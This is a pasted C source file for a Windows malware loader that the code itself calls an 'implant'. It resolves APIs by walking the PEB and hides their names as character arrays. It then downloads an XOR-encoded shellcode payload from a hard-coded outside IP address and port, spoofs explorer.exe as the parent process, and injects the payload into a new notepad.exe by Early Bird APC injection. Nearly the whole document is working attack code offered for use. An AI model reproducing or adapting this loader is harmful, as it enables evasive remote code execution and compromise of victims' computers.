SHOW:
|
|
- or go back to the newest paste.
| 1 | #pragma once | |
| 2 | #include <windows.h> | |
| 3 | #include <tlhelp32.h> | |
| 4 | #include <stdio.h> | |
| 5 | ||
| 6 | #ifndef __NTDLL_H__ | |
| 7 | ||
| 8 | #ifndef TO_LOWERCASE | |
| 9 | #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) | |
| 10 | #endif | |
| 11 | ||
| 12 | typedef LPVOID HINTERNET; | |
| 13 | #define INTERNET_OPEN_TYPE_DIRECT 1 | |
| 14 | #define INTERNET_SERVICE_HTTP 3 | |
| 15 | ||
| 16 | char* payload; | |
| 17 | char key[] = "testkey123"; | |
| 18 | ||
| 19 | wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
| |
| 20 | unsigned char ntdll_dll_name[] = { 'n','t','d','l','l','.','d','l','l', 0 };
| |
| 21 | char load_lib_name[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
| |
| 22 | char get_proc_name[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 };
| |
| 23 | ||
| 24 | void XOR(char* data, size_t data_len, char* key, size_t key_len) {
| |
| 25 | int j; | |
| 26 | ||
| 27 | j = 0; | |
| 28 | for (int i = 0; i < data_len; i++) {
| |
| 29 | if (j == key_len - 1) j = 0; | |
| 30 | ||
| 31 | data[i] = data[i] ^ key[j]; | |
| 32 | j++; | |
| 33 | } | |
| 34 | } | |
| 35 | ||
| 36 | typedef struct _UNICODE_STRING | |
| 37 | {
| |
| 38 | USHORT Length; | |
| 39 | USHORT MaximumLength; | |
| 40 | PWSTR Buffer; | |
| 41 | ||
| 42 | } UNICODE_STRING, * PUNICODE_STRING; | |
| 43 | ||
| 44 | typedef struct _PEB_LDR_DATA | |
| 45 | {
| |
| 46 | ULONG Length; | |
| 47 | BOOLEAN Initialized; | |
| 48 | HANDLE SsHandle; | |
| 49 | LIST_ENTRY InLoadOrderModuleList; | |
| 50 | LIST_ENTRY InMemoryOrderModuleList; | |
| 51 | LIST_ENTRY InInitializationOrderModuleList; | |
| 52 | PVOID EntryInProgress; | |
| 53 | ||
| 54 | } PEB_LDR_DATA, * PPEB_LDR_DATA; | |
| 55 | ||
| 56 | //here we don't want to use any functions imported form external modules | |
| 57 | typedef struct _LDR_DATA_TABLE_ENTRY {
| |
| 58 | LIST_ENTRY InLoadOrderModuleList; | |
| 59 | LIST_ENTRY InMemoryOrderModuleList; | |
| 60 | LIST_ENTRY InInitializationOrderModuleList; | |
| 61 | void* BaseAddress; | |
| 62 | void* EntryPoint; | |
| 63 | ULONG SizeOfImage; | |
| 64 | UNICODE_STRING FullDllName; | |
| 65 | UNICODE_STRING BaseDllName; | |
| 66 | ULONG Flags; | |
| 67 | SHORT LoadCount; | |
| 68 | SHORT TlsIndex; | |
| 69 | HANDLE SectionHandle; | |
| 70 | ULONG CheckSum; | |
| 71 | ULONG TimeDateStamp; | |
| 72 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
| 73 | ||
| 74 | typedef struct _PEB | |
| 75 | {
| |
| 76 | BOOLEAN InheritedAddressSpace; | |
| 77 | BOOLEAN ReadImageFileExecOptions; | |
| 78 | BOOLEAN BeingDebugged; | |
| 79 | BOOLEAN SpareBool; | |
| 80 | HANDLE Mutant; | |
| 81 | ||
| 82 | PVOID ImageBaseAddress; | |
| 83 | PPEB_LDR_DATA Ldr; | |
| 84 | ||
| 85 | } PEB, * PPEB; | |
| 86 | ||
| 87 | #endif //__NTDLL_H__ | |
| 88 | ||
| 89 | LPVOID get_module_by_name(WCHAR* module_name) | |
| 90 | {
| |
| 91 | PPEB peb = NULL; | |
| 92 | #if defined(_WIN64) | |
| 93 | peb = (PPEB)__readgsqword(0x60); | |
| 94 | #else | |
| 95 | peb = (PPEB)__readfsdword(0x30); | |
| 96 | #endif | |
| 97 | PPEB_LDR_DATA ldr = peb->Ldr; | |
| 98 | LIST_ENTRY list = ldr->InLoadOrderModuleList; | |
| 99 | ||
| 100 | PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); | |
| 101 | PLDR_DATA_TABLE_ENTRY curr_module = Flink; | |
| 102 | ||
| 103 | while (curr_module != NULL && curr_module->BaseAddress != NULL) {
| |
| 104 | if (curr_module->BaseDllName.Buffer == NULL) continue; | |
| 105 | WCHAR* curr_name = curr_module->BaseDllName.Buffer; | |
| 106 | ||
| 107 | size_t i = 0; | |
| 108 | for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
| |
| 109 | WCHAR c1, c2; | |
| 110 | TO_LOWERCASE(c1, module_name[i]); | |
| 111 | TO_LOWERCASE(c2, curr_name[i]); | |
| 112 | if (c1 != c2) break; | |
| 113 | } | |
| 114 | if (module_name[i] == 0 && curr_name[i] == 0) {
| |
| 115 | //found | |
| 116 | return curr_module->BaseAddress; | |
| 117 | } | |
| 118 | // not found, try next: | |
| 119 | curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; | |
| 120 | } | |
| 121 | return NULL; | |
| 122 | } | |
| 123 | ||
| 124 | LPVOID get_func_by_name(LPVOID module, char* func_name) | |
| 125 | {
| |
| 126 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module; | |
| 127 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
| |
| 128 | return NULL; | |
| 129 | } | |
| 130 | IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew); | |
| 131 | IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); | |
| 132 | if (exportsDir->VirtualAddress == NULL) {
| |
| 133 | return NULL; | |
| 134 | } | |
| 135 | ||
| 136 | DWORD expAddr = exportsDir->VirtualAddress; | |
| 137 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module); | |
| 138 | SIZE_T namesCount = exp->NumberOfNames; | |
| 139 | ||
| 140 | DWORD funcsListRVA = exp->AddressOfFunctions; | |
| 141 | DWORD funcNamesListRVA = exp->AddressOfNames; | |
| 142 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; | |
| 143 | ||
| 144 | //go through names: | |
| 145 | for (SIZE_T i = 0; i < namesCount; i++) {
| |
| 146 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD)); | |
| 147 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD)); | |
| 148 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD)); | |
| 149 | ||
| 150 | LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module); | |
| 151 | size_t k = 0; | |
| 152 | for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
| |
| 153 | if (func_name[k] != curr_name[k]) break; | |
| 154 | } | |
| 155 | if (func_name[k] == 0 && curr_name[k] == 0) {
| |
| 156 | //found | |
| 157 | return (BYTE*)module + (*funcRVA); | |
| 158 | } | |
| 159 | } | |
| 160 | return NULL; | |
| 161 | } | |
| 162 | ||
| 163 | ||
| 164 | // resolve kernel32 image base | |
| 165 | LPVOID base = get_module_by_name((const LPWSTR)kernel32_dll_name); | |
| 166 | ||
| 167 | // resolve ntdll image base | |
| 168 | LPVOID ntbase = get_module_by_name((const LPWSTR)ntdll_dll_name); | |
| 169 | ||
| 170 | // resolve loadlibraryA() address | |
| 171 | LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name); | |
| 172 | ||
| 173 | // resolve getprocaddress() address | |
| 174 | LPVOID get_proc = get_func_by_name((HMODULE)base, (LPSTR)get_proc_name); | |
| 175 | ||
| 176 | // loadlibrarya and getprocaddress function definitions | |
| 177 | HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR))load_lib; | |
| 178 | FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName) = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc; | |
| 179 | ||
| 180 | DWORD dwOldProtect; | |
| 181 | char virtualprotect_name[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0 };
| |
| 182 | BOOL(WINAPI* _VirtualProtect)( | |
| 183 | LPVOID lpAddress, | |
| 184 | SIZE_T dwSize, | |
| 185 | DWORD flNewProtect, | |
| 186 | PDWORD lpflOldProtect | |
| 187 | ) = (BOOL(WINAPI*)( | |
| 188 | LPVOID lpAddress, | |
| 189 | SIZE_T dwSize, | |
| 190 | DWORD flNewProtect, | |
| 191 | PDWORD lpflOldProtect | |
| 192 | )) _GetProcAddress((HMODULE)base, virtualprotect_name); | |
| 193 | ||
| 194 | ||
| 195 | unsigned char sCloseHandle[] = { 'C','l','o','s','e','H','a','n','d','l','e', 0x0 };
| |
| 196 | BOOL(WINAPI* _CloseHandle)( | |
| 197 | HANDLE hObject | |
| 198 | ) = (BOOL(WINAPI*)( | |
| 199 | HANDLE hObject | |
| 200 | )) _GetProcAddress((HMODULE)base, (LPCSTR)sCloseHandle); | |
| 201 | ||
| 202 | ||
| 203 | unsigned char sCreateToolhelp32Snapshot[] = { 'C','r','e','a','t','e','T','o','o','l','h','e','l','p','3','2', 'S', 'n', 'a', 'p', 's', 'h', 'o', 't', 0x0 };
| |
| 204 | unsigned char sProcess32First[] = { 'P','r','o','c','e','s','s','3','2','F','i','r','s','t', 0x0 };
| |
| 205 | unsigned char sProcess32Next[] = { 'P','r','o','c','e','s','s','3','2','N','e','x','t', 0x0 };
| |
| 206 | HANDLE(WINAPI* _CreateToolhelp32Snapshot)( | |
| 207 | DWORD dwFlags, | |
| 208 | DWORD th32ProcessID | |
| 209 | ) = (HANDLE(WINAPI*)( | |
| 210 | DWORD dwFlags, | |
| 211 | DWORD th32ProcessID | |
| 212 | )) _GetProcAddress((HMODULE)base, (LPCSTR)sCreateToolhelp32Snapshot); | |
| 213 | ||
| 214 | BOOL(WINAPI* _Process32First)( | |
| 215 | HANDLE hSnapshot, | |
| 216 | LPPROCESSENTRY32 lppe | |
| 217 | ) = (BOOL(WINAPI*)( | |
| 218 | HANDLE hSnapshot, | |
| 219 | LPPROCESSENTRY32 lppe | |
| 220 | )) _GetProcAddress((HMODULE)base, (LPCSTR)sProcess32First); | |
| 221 | ||
| 222 | BOOL(WINAPI* _Process32Next)( | |
| 223 | HANDLE hSnapshot, | |
| 224 | LPPROCESSENTRY32 lppe | |
| 225 | ) = (BOOL(WINAPI*)( | |
| 226 | HANDLE hSnapshot, | |
| 227 | LPPROCESSENTRY32 lppe | |
| 228 | )) _GetProcAddress((HMODULE)base, (LPCSTR)sProcess32Next); | |
| 229 | ||
| 230 | int fetch() | |
| 231 | {
| |
| 232 | ||
| 233 | char wininet_dll_name[] = { 'w','i','n','i','n','e','t','.','d','l','l', 0 };
| |
| 234 | char internetopenw_name[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','A',0 };
| |
| 235 | LPVOID wininet_dll = _LoadLibraryA(wininet_dll_name); | |
| 236 | ||
| 237 | HINTERNET(WINAPI * _InternetOpenA)( | |
| 238 | _In_opt_ LPCSTR lpszAgent, | |
| 239 | _In_opt_ DWORD dwAccessType, | |
| 240 | _In_opt_ LPCSTR lpszProxy, | |
| 241 | _In_opt_ LPCSTR lpszProxyBypass, | |
| 242 | _In_ DWORD dwFlags | |
| 243 | ) = (HINTERNET(WINAPI*)( | |
| 244 | _In_opt_ LPCSTR lpszAgent, | |
| 245 | _In_opt_ DWORD dwAccessType, | |
| 246 | _In_opt_ LPCSTR lpszProxy, | |
| 247 | _In_opt_ LPCSTR lpszProxyBypass, | |
| 248 | _In_ DWORD dwFlags)) _GetProcAddress((HMODULE)wininet_dll, internetopenw_name); | |
| 249 | ||
| 250 | char internetconnecta_name[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','A',0 };
| |
| 251 | HINTERNET(WINAPI * _InternetConnectA)( | |
| 252 | _In_opt_ HINTERNET hInternet, | |
| 253 | _In_opt_ LPCSTR lpszServerName, | |
| 254 | _In_opt_ int nServerPort, | |
| 255 | _In_opt_ LPCSTR lpszUserName, | |
| 256 | _In_opt_ LPCSTR lpszPassword, | |
| 257 | _In_opt_ DWORD dwService, | |
| 258 | _In_opt_ DWORD dwFlags, | |
| 259 | _In_ DWORD_PTR dwContext | |
| 260 | ) = (HINTERNET(WINAPI*)( | |
| 261 | _In_opt_ HINTERNET hInternet, | |
| 262 | _In_opt_ LPCSTR lpszServerName, | |
| 263 | _In_opt_ int nServerPort, | |
| 264 | _In_opt_ LPCSTR lpszUserName, | |
| 265 | _In_opt_ LPCSTR lpszPassword, | |
| 266 | _In_opt_ DWORD dwService, | |
| 267 | _In_opt_ DWORD dwFlags, | |
| 268 | _In_ DWORD_PTR dwContext | |
| 269 | )) _GetProcAddress((HMODULE)wininet_dll, internetconnecta_name); | |
| 270 | ||
| 271 | char httpopenrequesta_name[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','A',0 };
| |
| 272 | HINTERNET(WINAPI * _HttpOpenRequestA)( | |
| 273 | _In_opt_ HINTERNET hConnect, | |
| 274 | _In_opt_ LPCSTR lpszVerb, | |
| 275 | _In_opt_ LPCSTR lpszObjectName, | |
| 276 | _In_opt_ LPCSTR lpszVersion, | |
| 277 | _In_opt_ LPCSTR lpszReferrer, | |
| 278 | _In_opt_ LPCSTR * lplpszAcceptTypes, | |
| 279 | _In_opt_ DWORD dwFlags, | |
| 280 | _In_ DWORD_PTR dwContext | |
| 281 | ) = (HINTERNET(WINAPI*)( | |
| 282 | _In_opt_ HINTERNET hConnect, | |
| 283 | _In_opt_ LPCSTR lpszVerb, | |
| 284 | _In_opt_ LPCSTR lpszObjectName, | |
| 285 | _In_opt_ LPCSTR lpszVersion, | |
| 286 | _In_opt_ LPCSTR lpszReferrer, | |
| 287 | _In_opt_ LPCSTR * lplpszAcceptTypes, | |
| 288 | _In_opt_ DWORD dwFlags, | |
| 289 | _In_ DWORD_PTR dwContext | |
| 290 | )) _GetProcAddress((HMODULE)wininet_dll, httpopenrequesta_name); | |
| 291 | ||
| 292 | char httpsendrequesta_name[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','A',0 };
| |
| 293 | ||
| 294 | BOOL(WINAPI * _HttpSendRequestA)( | |
| 295 | HINTERNET hRequest, | |
| 296 | LPCWSTR lpszHeaders, | |
| 297 | DWORD dwHeadersLength, | |
| 298 | LPVOID lpOptional, | |
| 299 | DWORD dwOptionalLength | |
| 300 | ) = (BOOL(WINAPI*)( | |
| 301 | HINTERNET hRequest, | |
| 302 | LPCWSTR lpszHeaders, | |
| 303 | DWORD dwHeadersLength, | |
| 304 | LPVOID lpOptional, | |
| 305 | DWORD dwOptionalLength | |
| 306 | )) _GetProcAddress((HMODULE)wininet_dll, httpsendrequesta_name); | |
| 307 | ||
| 308 | char internetreadfile_name[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e', 0 };
| |
| 309 | ||
| 310 | BOOL(WINAPI * _InternetReadFile)( | |
| 311 | HINTERNET hFile, | |
| 312 | LPVOID lpBuffer, | |
| 313 | DWORD dwNumberOfBytesToRead, | |
| 314 | LPDWORD lpdwNumberOfBytesRead | |
| 315 | ) = (BOOL(WINAPI*)( | |
| 316 | HINTERNET hFile, | |
| 317 | LPVOID lpBuffer, | |
| 318 | DWORD dwNumberOfBytesToRead, | |
| 319 | LPDWORD lpdwNumberOfBytesRead | |
| 320 | )) _GetProcAddress((HMODULE)wininet_dll, internetreadfile_name); | |
| 321 | ||
| 322 | char internetclosehandle_name[] = { 'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e', 0 };
| |
| 323 | void(WINAPI * _InternetCloseHandle)( | |
| 324 | HINTERNET hInternet | |
| 325 | ) = (void (WINAPI*)( | |
| 326 | HINTERNET hInternet | |
| 327 | )) _GetProcAddress((HMODULE)wininet_dll, internetclosehandle_name); | |
| 328 | ||
| 329 | char user_agent[] = { 'u','s','e','r',0 };
| |
| 330 | HINTERNET hInternet = _InternetOpenA(user_agent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); | |
| 331 | if (hInternet == NULL) | |
| 332 | {
| |
| 333 | return 1; | |
| 334 | } | |
| 335 | ||
| 336 | char sitename[] = { '1','7','6','.','5','8','.','1','0','3', '.', '4', '0', 0 };
| |
| 337 | int port = 8080; | |
| 338 | HINTERNET hConnect = _InternetConnectA(hInternet, sitename, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL); | |
| 339 | if (hConnect == NULL) {
| |
| 340 | return 1; | |
| 341 | } | |
| 342 | ||
| 343 | const char acceptTypes[] = { '*','/','*', NULL };
| |
| 344 | char method[] = { 'G','E','T',0 };
| |
| 345 | char site_param[] = { 'e','n','c','o','d','e','d','.','r','a','w',0 };
| |
| 346 | HINTERNET hRequest = _HttpOpenRequestA(hConnect, method, site_param, NULL, NULL, (LPCSTR *)acceptTypes, 0, 0); | |
| 347 | if (hRequest == NULL) {
| |
| 348 | return 1; | |
| 349 | } | |
| 350 | ||
| 351 | BOOL bRequestSent = _HttpSendRequestA(hRequest, NULL, 0, NULL, 0); | |
| 352 | ||
| 353 | BOOL bKeepReading = TRUE; | |
| 354 | const int npayloadSize = 5000000; | |
| 355 | int size = 0; | |
| 356 | ||
| 357 | char virtualalloc_name[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0 };
| |
| 358 | LPVOID(WINAPI * _VirtualAlloc)( | |
| 359 | LPVOID lpAddress, | |
| 360 | SIZE_T dwSize, | |
| 361 | DWORD flAllocationType, | |
| 362 | DWORD flProtect | |
| 363 | ) = (LPVOID(WINAPI*)( | |
| 364 | LPVOID lpAddress, | |
| 365 | SIZE_T dwSize, | |
| 366 | DWORD flAllocationType, | |
| 367 | DWORD flProtect | |
| 368 | )) _GetProcAddress((HMODULE)base, virtualalloc_name); | |
| 369 | ||
| 370 | payload = (char*)_VirtualAlloc(0, 10000000, MEM_COMMIT, PAGE_READWRITE); | |
| 371 | DWORD dwBytesRead = -1; | |
| 372 | ||
| 373 | while (bKeepReading && dwBytesRead != 0) {
| |
| 374 | bKeepReading = _InternetReadFile(hRequest, payload, npayloadSize, &dwBytesRead); | |
| 375 | } | |
| 376 | ||
| 377 | ||
| 378 | _InternetCloseHandle(hRequest); | |
| 379 | _InternetCloseHandle(hConnect); | |
| 380 | _InternetCloseHandle(hInternet); | |
| 381 | ||
| 382 | return 0; | |
| 383 | } | |
| 384 | ||
| 385 | ||
| 386 | int FindTarget(const char* procname) {
| |
| 387 | ||
| 388 | HANDLE hProcSnap; | |
| 389 | PROCESSENTRY32 pe32; | |
| 390 | int pid = 0; | |
| 391 | ||
| 392 | unsigned char slstrcmpiA[] = { 'l','s','t','r','c','m','p','i','A', 0x0 };
| |
| 393 | INT(WINAPI * _lstrcmpiA)( | |
| 394 | LPCSTR lpString1, | |
| 395 | LPCSTR lpString2 | |
| 396 | ) = (INT(WINAPI*)( | |
| 397 | LPCSTR lpString1, | |
| 398 | LPCSTR lpString2 | |
| 399 | )) _GetProcAddress((HMODULE)base, (LPCSTR)slstrcmpiA); | |
| 400 | ||
| 401 | hProcSnap = _CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
| 402 | if (INVALID_HANDLE_VALUE == hProcSnap) return 0; | |
| 403 | ||
| 404 | pe32.dwSize = sizeof(PROCESSENTRY32); | |
| 405 | ||
| 406 | if (!_Process32First(hProcSnap, &pe32)) {
| |
| 407 | _CloseHandle(hProcSnap); | |
| 408 | return 0; | |
| 409 | } | |
| 410 | ||
| 411 | while (_Process32Next(hProcSnap, &pe32)) {
| |
| 412 | if (_lstrcmpiA(procname, pe32.szExeFile) == 0) {
| |
| 413 | pid = pe32.th32ProcessID; | |
| 414 | break; | |
| 415 | } | |
| 416 | } | |
| 417 | ||
| 418 | _CloseHandle(hProcSnap); | |
| 419 | ||
| 420 | return pid; | |
| 421 | } | |
| 422 | ||
| 423 | DWORD GetPidByName(const char* pName) {
| |
| 424 | PROCESSENTRY32 pEntry; | |
| 425 | HANDLE snapshot; | |
| 426 | ||
| 427 | pEntry.dwSize = sizeof(PROCESSENTRY32); | |
| 428 | snapshot = _CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
| 429 | ||
| 430 | if (_Process32First(snapshot, &pEntry) == TRUE) {
| |
| 431 | while (_Process32Next(snapshot, &pEntry) == TRUE) {
| |
| 432 | if (_stricmp(pEntry.szExeFile, pName) == 0) {
| |
| 433 | return pEntry.th32ProcessID; | |
| 434 | } | |
| 435 | } | |
| 436 | } | |
| 437 | _CloseHandle(snapshot); | |
| 438 | return 0; | |
| 439 | } | |
| 440 | ||
| 441 | void EarlyBird() {
| |
| 442 | ||
| 443 | DWORD oldprotect = 0; | |
| 444 | STARTUPINFOEX info = { sizeof(info) };
| |
| 445 | PROCESS_INFORMATION pi; | |
| 446 | SIZE_T cbAttributeListSize = 0; | |
| 447 | PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL; | |
| 448 | HANDLE hParentProcess = NULL; | |
| 449 | DWORD dwPid = 0; | |
| 450 | ||
| 451 | dwPid = GetPidByName("explorer.exe");
| |
| 452 | if (dwPid == 0) | |
| 453 | dwPid = GetCurrentProcessId(); | |
| 454 | ||
| 455 | InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize); | |
| 456 | pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize); | |
| 457 | InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize); | |
| 458 | ||
| 459 | hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); | |
| 460 | UpdateProcThreadAttribute(pAttributeList, | |
| 461 | 0, | |
| 462 | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, | |
| 463 | &hParentProcess, | |
| 464 | sizeof(HANDLE), | |
| 465 | NULL, | |
| 466 | NULL); | |
| 467 | ||
| 468 | info.lpAttributeList = pAttributeList; | |
| 469 | ||
| 470 | CreateProcessA(NULL, | |
| 471 | (LPSTR)"notepad.exe", | |
| 472 | NULL, | |
| 473 | NULL, | |
| 474 | FALSE, | |
| 475 | EXTENDED_STARTUPINFO_PRESENT, | |
| 476 | NULL, | |
| 477 | NULL, | |
| 478 | &info.StartupInfo, | |
| 479 | &pi); | |
| 480 | ||
| 481 | printf("implant ID: %d | explorer ID: %d | notepad ID: %d\n", GetCurrentProcessId(), dwPid, pi.dwProcessId);
| |
| 482 | ||
| 483 | XOR((char*)payload, sizeof(payload), key, sizeof(key)); | |
| 484 | ||
| 485 | void* pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, (SIZE_T)sizeof(payload), MEM_COMMIT, PAGE_READWRITE); | |
| 486 | WriteProcessMemory(pi.hProcess, pRemoteCode, (PVOID)payload, (SIZE_T)sizeof(payload), (SIZE_T*)NULL); | |
| 487 | VirtualProtectEx(pi.hProcess, pRemoteCode, (SIZE_T)sizeof(payload), PAGE_EXECUTE, &oldprotect); | |
| 488 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)pRemoteCode; | |
| 489 | QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL); | |
| 490 | ||
| 491 | printf("payload = %p ; remote code = %p\nReady!\n", payload, pRemoteCode);
| |
| 492 | getchar(); | |
| 493 | ResumeThread(pi.hThread); | |
| 494 | ||
| 495 | DeleteProcThreadAttributeList(pAttributeList); | |
| 496 | CloseHandle(hParentProcess); | |
| 497 | ||
| 498 | } | |
| 499 | ||
| 500 | ||
| 501 | int main(void) {
| |
| 502 | fetch(); | |
| 503 | printf("Shellcode fetched\n");
| |
| 504 | EarlyBird(); | |
| 505 | ||
| 506 | return 0; | |
| 507 | } |